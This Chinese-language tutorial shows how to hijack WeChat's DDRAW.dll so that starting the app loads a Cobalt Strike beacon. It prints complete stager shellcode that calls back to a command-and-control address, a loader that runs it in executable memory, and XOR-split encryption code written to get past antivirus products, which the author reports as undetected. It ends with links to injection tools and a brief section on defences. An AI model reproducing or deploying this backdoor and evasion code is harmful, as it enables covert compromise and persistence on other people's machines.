看我如何用微信上線CobaltStrike

前言

  DLL劫持漏洞是老生常談的一個漏洞,已經被前輩們各種奇技淫巧玩爛。但DLL劫持技術在後滲透和域滲透中的權限提升和權限維持都起到了至關重要的作用。本文簡單剖析DLL劫持技術並通過實例應用來查看如何在滲透工作中利用此項技術。篇幅稍長,各位讀者耐心觀看,文中有不妥之處請各位加以斧正。

DLL劫持原理

什麼是DLL?

  DLL是動態鏈接庫文件,在Windows系統中,應用程序並不是一個完整的可執行文件,它需要調用對應的DLL來完成相應的功能。一個應用程序可以使用多個DLL,一個DLL可以被多個應用程序使用。

DLL劫持漏洞產生原因

  開發者在調用DLL時沒有指定絕對路徑,那麼Windows就會按照特定的順序去查找DLL,因此,黑客如果能夠優先將DLL置於有效目錄,就能夠欺騙系統加載惡意DLL,實現DLL劫持。

 

 

 

  如上圖,應用程序執行需調用LPK.dll,該DLL在"C:Windowssystem32"目錄下,但是由於系統優先搜索當前目錄"C:UserspcDesktop",所以如果當前目錄存在惡意的DLL,程序會優先加載,從而導致漏洞產生。

  Windows中應用程序搜索DLL的順序

  Window中默認搜索DLL的順序爲:

1.程序所在目錄
2.系統目錄即 SYSTEM32 目錄。
3.16位系統目錄即 SYSTEM 目錄。
4.Windows目錄。
5.加載 DLL 時所在的當前目錄。
6.PATH環境變量中列出的目錄。

  爲了應對DLL劫持漏洞,微軟在Windows7以上的版本將一些容易受到劫持的DLL寫入了註冊表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs中,在此項中的DLL都被禁止從程序所在目錄調用,而只能從系統目錄"C:WindowsSystem32"中調用。

  不過終究是治標不治本,事實上攻擊者只需要查找KnownDLLs註冊表項中不存在且被應用程序調用的DLL,即可繞過這一限制。

DLL劫持的一般步驟

劫持Windows應用程序的DLL一般需要以下步驟:

1.啓動應用程序
2.使用ProcessMonitor等工具查看應用程序啓動後加載的DLL
3.從加載的DLL中篩選出不存在於HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs註冊表項中的DLL
4.編寫劫持代碼生成劫持DLL
5.將編寫好的DLL置於程序目錄中並重新啓動程序
6.查看是否劫持成功

如何利用DLL劫持微信並上線CS

這裏我們通過劫持最新版微信,來更直觀的認識和了解DLL劫持漏洞的利用。

DLL選擇

首先下載安裝最新版微信並運行,使用ProcessMonitor查看微信運行後調用的DLL情況。

Process Monitor一款系統進程監視軟件,總體來說,Process Monitor相當於Filemon+Regmon,其中的Filemon專門用來監視系統中的任何文件操作過程,而Regmon用來監視註冊表的讀寫操作過程。
下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

這裏我們需要將圖示紅框中的功能關閉,它們分別是註冊表監控、網絡監控、進程線程監控,我們只需要監控文件系統。

 

 

 

接下來我們需要篩選出微信程序的文件監控,在Filter中選擇Filtel..,創建如下規則:

 

 

 

 

添加並應用規則後,我們可以更直觀地觀察微信程序調用DLL的情況。存在劫持漏洞的DLL一般存在以下幾個特徵:

不在註冊表項HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中
先從程序當前目錄調用,並在搜索不到後進入系統目錄調用

這裏發現有幾個DLL符合特徵,我們選擇DDRAW.DLL進行測試:

測試發現劫持某些DLL會導致微信退出時崩潰,建議在測試環境測試後再投入實戰

  

 

 

 

 

 

 

 

 

 

事實上,對於在可能存在劫持漏洞DLL的查找上面已經有相關的懶人工具,如DLL Hijacking Auditor、rattler、DLLHijack_Detecter等等,但相應的存在一定的誤報率和運行問題。

劫持DLL製作

編寫一個劫持DLL,需要兩個步驟:

查看被劫持DLL的導出函數表
編寫實現劫持DLL向原DLL的函數轉發,並在過程中加入你的惡意代碼

這對不熟悉編程技術的安全從業者來說是一個複雜的過程,但我們可以使用AheadLib或DLL_Hijacker.py這兩款工具來生成相應的cpp代碼,只要簡單加入我們的劫持代碼並重新編譯出DLL即可。(個人喜歡使用後者來生成代碼,原因有二,一是python腳本使用方便,二是AheadLib使用易語言編寫,殺軟對易語言程序不友好。兩款工具工作筆者都已測試,編譯生成的DLL皆完好可使用)

工具下載地址:

AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker

這裏我們利用DLL_Hijacker.py生成對應的cpp代碼:

python DLL_hijacker.py c:\Windows\SysWOW64\ddraw.dll

接下來我們在VS2015中新建項目,創建c++空項目,命名爲DDRAW:

 

 

 

在項目屬性中我們需要進行簡單設置,將配置類型改爲動態庫(.dll),MFC的使用改爲在使用標準Windows庫,目標文件擴展名改爲.dll

MFC的使用選擇在靜態庫中使用MFC會將相關代碼寫入DLL中,可以運行在沒有相關DLL的系統中,但是缺點是生成的DLL體積較大,選擇此選項保證DLL在不同系統中可以正常運行。

 

 

 

 

在項目的源文件中新建DDRAW.cpp文件,並將DLL_hijacker.py生成的cpp代碼粘貼過來後編譯:

 

 

 

然後我們將編譯好的DLL放入微信程序目錄中,並重新啓動微信,可以發現劫持成功:

 

 

 

 

 

 

DLL劫持到CS上線

當然我們並不能滿足於單純的彈框,我們需要利用此漏洞來實現權限維持。

首先cs生成shellcode:

 

 

 

在代碼中申請執行內存並執行我們的shellcode,核心代碼如下:

typedef void(__stdcall* JMP_SHELLCODE)();

unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x37\x6d\x44\x74\x00\x0e\x10\x00\x9d\x32\xdc\x4d\xa3\xd2\x4c\x42\xbb\x3a\x26\x92\x3a\xea\xd9\x2c\x08\x8a\xaa\x18\xd3\x3b\x30\xcc\xe4\x01\x3a\xe7\x36\x68\x6a\x0b\x0a\x16\xe5\xc2\xc2\xfb\x17\x53\xdd\x85\x34\x49\x4d\xe3\x57\xb6\x53\xf5\xd9\xfc\xbc\xbf\x61\x42\xd1\x17\xb1\x93\x36\x65\xd9\x78\x54\xc4\x8f\x9c\x76\xa9\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x32\x29\x0d\x0a\x00\x84\xdc\xd4\xde\x3c\x35\x45\x34\xdd\x7c\xcf\x75\x18\x5d\x7b\x82\xb5\xc7\x62\x1b\xc1\x6a\x9b\x85\x4e\x21\x82\x75\x88\x8d\xb2\x9a\x49\x4d\x07\xc7\x4d\x9d\x0c\xc4\xb6\xc6\x3e\xec\xc5\x12\x13\xfc\x00\x94\x17\xa6\xdf\x3e\xa1\x6a\xa9\x47\xb7\xc7\x63\x72\xba\xae\x8a\x37\xf1\x2a\xac\x5d\x5c\x59\x83\x7b\xa1\xf5\xfc\x9b\x52\x28\xb4\x5a\x13\x65\xc3\xe0\x59\x1e\xd0\xe5\x33\x8e\x4f\x5f\x1f\x0c\x84\xcd\xf6\x78\x76\x26\xfa\x4c\xaa\xc5\x7d\x13\x93\x9d\x47\x84\x53\xb8\xa3\x7a\x29\xf9\xc1\x47\x0a\xdd\xfc\x80\x04\xae\xa8\xeb\x64\xa3\xb6\xb0\x7f\x1f\xd7\x56\x31\x87\xc8\x8b\x60\x39\x3c\xed\xb8\xa9\x7e\x5b\xbe\x07\xe1\x0f\x7b\xc3\x88\xe2\x8d\xc9\xb7\x03\x6a\xd3\xd6\x3a\x34\x4a\xb8\x36\x6f\x0a\xdb\x8c\xf5\x23\x95\xb0\x15\x30\xfc\x33\xa2\x2c\x63\x69\x12\xbb\x98\x9e\xf6\x4d\x82\xaa\xca\x72\x51\x1f\xca\x10\x44\x65\xb1\xd9\xd6\x7d\xc9\xaa\x0d\x0e\xda\xdb\x88\x4b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

然後創建線程並在主函數dllmain中執行即可。將編譯好的DLL置於微信目錄,重啓微信,此時CS成功上線:

 

繞過殺軟上線CS

在實際環境中,shellcode可能會被殺軟識別查殺,我們還需要對shellcode進行免殺處理。我們可以把shellcode加密處理,執行的過程中再進行解密,此時shellcode便具有一定的免殺能力。也可以對shellcode進行分段多重加密再分段解密,免殺效果會更好。

在安裝了殺毒軟件的環境中,DLL編譯完成後被查殺:

 

我們考慮通過加密的方式將我們的shellcode隱藏。 這裏我們新建工程,在代碼中,我們使用XOR方式將shellcode分段加密,利用程序獲取加密後的shellcode,核心代碼如下:

#define KEY 0x99 //第一段XOR key
unsigned char ShellCode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x53\x58\x6c\x45\x00\x81\x43\xba\xf6\x98\x63\x16\xc9\x6a\x76\x08\xd9\xa1\x22\x06\xb9\x91\xae\xf2\x9c\x43\x54\x45\x60\x4d\xca\x7d\x34\x1d\x0d\xcc\xe9\x9b\xe3\x8b\xb5\xa2\x18\xf8\x88\x22\x0b\x29\xdb\x90\x31\xb6\x82\x96\xc4\x18\x74\x66\x42\x0a\xef\x66\x40\x14\xf5\x9e\x6d\x93\x2b\xcb\x33\x3a\xf4\xbf\x27\x74\xd7\x81\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x82\x79\xfd\xc6\xc5\xfc\x18\x09\xf1\x8d\xda\x55\xf4\x79\x75\x7d\x85\xf7\x98\x75\x65\xaa\xe7\xee\xb4\x9c\xed\x10\x87\x33\x38\x34\x6f\x2e\x6c\x83\x0a\x78\x28\x58\x1f\x91\x58\x50\x73\xca\x05\x6a\xf0\xe3\x12\x9e\x31\x5d\xbf\x02\xb1\x8b\xf5\x8e\xc9\x3a\xee\x97\x3a\x9a\x6b\x32\x3d\xd1\x31\x63\x3f\xeb\xd0\xe0\xa0\x5d\x00\xb9\xd9\xe6\x7e\x0a\x89\xd6\xcf\x94\xa7\x3c\x74\xea\x2c\x69\xec\x54\x39\xe1\x66\xbb\x83\xa9\x2b\x0d\xe0\xe0\xc7\xcd\xa9\x88\x5b\x06\x84\xfa\x87\xf7\x84\x03\x0c\xa7\xb0\xaa\x3b\x09\xea\xf0\x6b\xce\x9c\xa2\xf4\xec\x21\x8b\x5c\x12\xae\x93\xb9\x2e\xd6\x3f\x15\x8e\xa1\x46\xec\x87\x72\x2f\x70\xd7\x4e\xe9\x5c\x24\x56\xab\xce\xae\x5e\xd2\x0b\x7a\x56\x12\xdd\x5a\x33\x7c\x8b\x23\x4e\x32\xc0\xac\x90\x89\xec\xab\xd6\x3c\x9c\x34\xd0\xd0\x56\x52\xed\xf0\xc9\x3a\xe4\x8a\x9e\x9d\x87\xe9\x51\x19\xec\xa6\xf1\x7f\x19\xa2\x52\x69\x03\x22\x3e\xc2\x44\xc8\x42\x6c\xa7\x1c\x54\x98\x78\x33\x6d\xe3\xb4\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";
int main()
{
unsigned char enShellCode1[sizeof(ShellCode)]; 
unsigned char enShellCode2[sizeof(ShellCode)];
for (int i = 0; i < sizeof(ShellCode) - 501; i++)
{
   enShellCode1<i> = ShellCode<i> ^ KEY; //第一段XOR加密
   printf("\\x%x", enShellCode1<i>); //獲取第一段加密結果
}
char key[] = "chris"; //第二段XOR key
int j = 0;
for (int i = sizeof(ShellCode) - 501; i < sizeof(ShellCode)-1; i++)
{
   if (j == sizeof(key) - 1)
     j = 0;
   enShellCode2<i> = ShellCode<i> ^ key[j]; //第二段XOR加密
   j++;
   printf("\\x%x", enShellCode2<i>);  //獲取第二段加密結果
}
return 0;
}

 

 

 

拷貝結果,替換劫持代碼中的shellcode,並在執行函數中將我們的原始shellcode解密出來,核心代碼如下:

#define KEY 0x99 //第一段key
unsigned char shellcode[] = "\x65\x71\x10\x99\x99\x99\xf9\x10\x7c\xa8\x4b\xfd\x12\xcb\xa9\x12\xcb\x95\x12\xcb\x8d\x12\xeb\xb1\x96\x2e\xd3\xbf\xa8\x66\xa8\x59\x35\xa5\xf8\xe5\x9b\xb5\xb9\x58\x56\x94\x98\x5e\x7b\x69\xcb\xce\x12\xcb\x89\x12\xdb\xa5\x98\x49\x12\xd9\xe1\x1c\x59\xed\xd3\x98\x49\xc9\x12\xd1\x81\x12\xc1\xb9\x98\x4a\x7a\xa5\xd0\x12\xad\x12\x98\x4f\xa8\x66\xa8\x59\x35\x58\x56\x94\x98\x5e\xa1\x79\xec\x6d\x9a\xe4\x61\xa2\xe4\xbd\xec\x7b\xc1\x12\xc1\xbd\x98\x4a\xff\x12\x95\xd2\x12\xc1\x85\x98\x4a\x12\x9d\x12\x98\x49\x10\xdd\xbd\xbd\xc2\xc2\xf8\xc0\xc3\xc8\x66\x79\xc1\xc6\xc3\x12\x8b\x72\x1f\xc4\xf1\xf7\xfc\xed\x99\xf1\xee\xf0\xf7\xf0\xcd\xf1\xd5\xee\xbf\x9e\x66\x4c\xa8\x66\xce\xce\xce\xce\xce\xf1\xa3\xcf\xe0\x3e\x66\x4c\x70\x1d\x99\x99\x99\xc2\xa8\x50\xc8\xc8\xf3\x9a\xc8\xc8\xf1\x21\xbb\x99\x99\xca\xc9\xf1\xce\x10\x6\x5f\x66\x4c\x72\xe9\xc2\xa8\x4b\xcb\xf1\x99\x9b\xd9\x1d\xcb\xcb\xcb\xca\xcb\xc9\xf1\x72\xcc\xb7\xa2\x66\x4c\x10\x5f\x1a\x5a\xc9\xa8\x66\xce\xce\xf3\x66\xca\xcf\xf1\xb4\x9f\x81\xe2\x66\x4c\x1c\x59\x96\x1d\x5a\x98\x99\x99\xa8\x66\x1c\x6f\xed\x9d\x10\x60\x72\x90\xf1\x33\x5c\x7b\xc4\x66\x4c\x10\x58\xf1\xdc\xb8\xc7\xa8\x66\x4c\xa8\x66\xce\xf3\x9e\xc8\xcf\xc9\xf1\x2e\xce\x79\x92\x66\x4c\x26\x99\xb6\x63\x68\x4b\xae\x7\xd4\x59\x8d\x80\xe2\x62\x68\x72\x80\xba\x62\x68\x72\x81\xf8\x9c\x97\x8d\x46\x20\x3b\x4\x37\x69\xf2\x20\xd2\x84\xf1\x10\x75\xa1\x18\x1f\x7b\xba\xc9\x50\x6f\xca\xf2\xc6\x80\xf5\x30\x37\x2d\x12\x24\xb9\x1e\x5c\x6f\x64\xbf\x8a\xf3\x91\xe2\xc6\xc1\x70\x8a\xe1\x51\x68\x41\xa9\xf9\x42\xd5\xea\xe4\xad\x6b\x17\xe\x30\x63\x9c\x5\x28\x66\x9c\xed\xe\xfb\x59\xa2\x40\x59\x9c\xcd\x4e\x7\xb4\xe9\x72\x3c\x0\x6\x1a\x5f\x28\x14\x6\x6\x6\x53\x53\x2e\x7\x8\x0\x1f\xf\x9\x5d\x5c\x5d\x53\x48\x5a\xa\x1c\xe\x18\x13\x1d\x1a\x1\x4\x17\x52\x53\x2e\x3b\x3b\x2c\x53\x5a\x46\x42\x52\x53\x34\x1\x1c\xd\x1c\x14\x1b\x52\x27\x27\x43\x5e\x5c\x59\x48\x43\x3c\x0\x0\x17\x6\x6\x6\x46\x46\x4d\x58\x5b\x64\x79\x63\xea\xb\x94\xb5\xa6\x94\x6a\x60\x82\xee\xb2\x27\x9d\xa\x16\x15\xf7\x9e\xeb\x16\xd\xd8\x8e\x9d\xd7\xf4\x9f\x79\xf4\x50\x50\x46\x6\x5d\xf\xeb\x78\x11\x5b\x3b\x77\xe3\x31\x23\x10\xa2\x77\x3\x83\x80\x7a\xec\x58\x2e\xdc\x6a\xc3\xe2\x86\xed\xa1\x48\x87\xe4\x59\xf2\x19\x5b\x4e\xb2\x59\x11\x56\x98\xb3\x88\xd2\x34\x73\xda\xb1\x94\x17\x79\xea\xbe\xbd\xfd\xd4\x5f\x1c\x98\x45\x1a\x8f\x3c\x4b\x88\x15\xd8\xeb\xdb\x42\x7e\x83\x88\xb5\xa4\xda\xeb\x33\x74\xed\x89\xe4\x9f\xf6\x6a\x7f\xc4\xd8\xd8\x52\x7a\x89\x98\x19\xa7\xef\xc1\x9c\x9e\x48\xf8\x3f\x7a\xdc\xfa\xca\x4d\xbe\x4d\x7c\xfd\xc2\x2e\x9e\xee\x1\x4c\x18\xa5\x27\x9a\x3f\x4c\x24\xc2\xbd\xcd\x36\xa0\x62\x9\x35\x7a\xaf\x33\x40\x1f\xe3\x51\x27\x41\xa3\xc4\xe2\xe0\x9f\xc8\xbe\x4e\xf5\x47\xb3\xb8\x24\x3b\x9e\x93\xa1\x48\x8d\xf9\xfd\xf5\xf5\x80\x22\x7a\x84\xd4\x98\xc\x7a\xca\x20\x0\x70\x41\x56\xb0\x2d\xbb\x21\x4\xd5\x75\x27\xfb\x10\x41\x4\x90\xd7\x68\x1a\x99\xc6\xc1\x3e\x8d\xbc\x19\x23\x0\x72\x79\x73\x63\x0\x72\x69\x33\x63\x3f\x1a\x31\xd7\x30\x8d\x8d\xbc\xe0\xda\x68\x72\x69\x73\x62\xb1\x23\x3a\xfa\x84\x3f\x1a\x69\x53\x63\x68\x21\x3f\x1b\x71\xfe\xfb\x8b\x8c\xb6\xed\xb2\x1d\xb5\xe8\x6f\x73\xaa\xf6\xa3\x1d\x97\x31\xb0\x8b\xc1\x8f\x96\x8c\x52\x51\x40\x47\x42\x55\x50\x5c\x58\x46\x54\x46\x43\x5a\x47\x63\x7a\x46\x3f\xb";
unsigned char shellcode2[sizeof(shellcode)];

char key[] = "chris"; //第二段key

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
for (int i = 0; i < sizeof(shellcode) - 501; i++)
{
   shellcode2<i> = shellcode<i> ^ KEY; //解密第一段
}
int j = 0;
for (int i = sizeof(shellcode) - 501; i < sizeof(shellcode) - 1; i++)
{
   if (j == sizeof(key) - 1)j = 0;
   shellcode2<i> = shellcode<i> ^ key[j]; //解密第二段
   j++;
}

LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode2, sizeof(shellcode2));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

 

 

此時,我們的DLL編譯完成後已經不會被殺軟查殺,將DLL放入微信目錄中,啓動微信:

 

 

成功上線,執行命令,火絨與360均無反應。

其他玩法

當然DLL劫持還有很多其他玩法,如利用InjectProc實現自動注入,backdoor-factory免殺結合MSF上線,IAT導入表注入劫持,權限提升等,篇幅有限,這裏不作贅述,各位可自行嘗試。

工具鏈接:

InjectProc:https://github.com/secrary/InjectProc/releases
backdoor-factory:https://github.com/secretsquirrel/the-backdoor-factory
IAT:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ 提取碼:c29j

如何防範DLL劫持

對於DLL劫持漏洞產生的原因,並不能單一的歸咎於微軟,只能說這是微軟的一個“設計缺陷”,要從根本上防禦DLL劫持漏洞,除了微軟提供的“安全DLL搜索模式”和“KnownDLLs註冊表項”機制保護DLL外,開發人員必須要做更多來保護應用程序自身。開發過程中,調用LoadLibrary,LoadLibraryEx等會進行模塊加載操作的函數時,使用模塊的物理路徑作爲參數。在程序調用DLL時使用“白名單”+ “簽名”進行DLL的驗證。 不過即使使用了這些防禦措施,DLL劫持漏洞依舊可能會存在,更何況目前很多廠商對於DLL劫持漏洞都是持“忽略”的態度。

參考資料

DLL劫持原理與實踐
老樹開新花:DLL劫持漏洞新玩法
Dll劫持漏洞詳解

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章